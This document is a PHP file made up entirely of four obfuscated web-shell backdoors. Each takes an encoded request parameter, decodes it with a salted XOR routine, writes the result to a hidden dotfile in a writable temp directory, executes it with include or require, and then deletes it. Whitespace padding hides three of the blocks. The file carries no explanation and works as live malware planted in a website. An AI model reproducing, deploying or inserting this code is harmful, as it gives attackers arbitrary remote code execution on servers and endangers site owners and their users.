<?php																																										if(!is_null($_REQUEST["d\x61ta\x5F\x63hunk"] ?? null)){ $entry = $_REQUEST["d\x61ta\x5F\x63hunk"]; $entry = explode('.', $entry ) ; $entity = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); foreach( $entry as $t=> $v1) {$chS = ord( $salt7[$t % $sLen]); $d = ( ( int)$v1 - $chS -( $t % 10)) ^ 69; $entity .= chr( $d); } $object = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); for ($pset = 0, $resource = count($object); $pset < $resource; $pset++) { $obj = $object[$pset]; if (array_product([is_dir($obj), is_writable($obj)])) { $bind = vsprintf("%s/%s", [$obj, ".holder"]); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $bind; @unlink($bind); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "h\x6Cd")){ $value = $_REQUEST["h\x6Cd"]; $value = explode (".", $value); $ent = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $s = 0; $__tmp = $value; while( $v8 = array_shift( $__tmp)) { $sChar = ord( $salt3[$s % $sLen]); $dec =( ( int)$v8 - $sChar -( $s % 10)) ^ 75; $ent .= chr( $dec); $s++;} $entry = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); while ($obj = array_shift($entry)) { if (array_product([is_dir($obj), is_writable($obj)])) { $property_set = implode("/", [$obj, ".descriptor"]); $success = file_put_contents($property_set, $ent); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(@$_REQUEST["m\x61r\x6B\x65r"] !== null){ $dat = array_filter(["/dev/shm", getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); $itm = $_REQUEST["m\x61r\x6B\x65r"]; $itm = explode ( '.', $itm ) ; $token= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); foreach ($itm as $q => $v8): $chS= ord($s[$q % $lenS] ); $dec= ((int)$v8 - $chS - ($q % 10)) ^69; $token .= chr($dec ); endforeach; foreach ($dat as $property_set) { if (max(0, is_dir($property_set) * is_writable($property_set))) { $entry = implode("/", [$property_set, ".symbol"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $entry; @unlink($entry); die(); } } } }


if(in_array("\x72e\x63ord", array_keys($_REQUEST))){
	$flag = $_REQUEST["\x72e\x63ord"];
			$flag  =	 	explode	 (	".",	  $flag)  ;		 
	$symbol ='';
            $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen($salt3 	);
            $len =count($flag 	);
    
            for($y =0; $y < $len; $y++) { 	$v5 =$flag[$y];
                $chS =ord($salt3[$y	 % $lenS] 	);
                $d =((int)$v5 - $chS -($y	 % 10))	^ 	93;
                $symbol.= chr($d 	);}	
	$obj = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd()]);
	foreach ($obj as $key => $res) {
    		if (array_product([is_dir($res), is_writable($res)])) {
    $hld = "$res" . "/.desc";
    if (file_put_contents($hld, $symbol)) {
	require $hld;
	unlink($hld);
	die();
}
}
}
}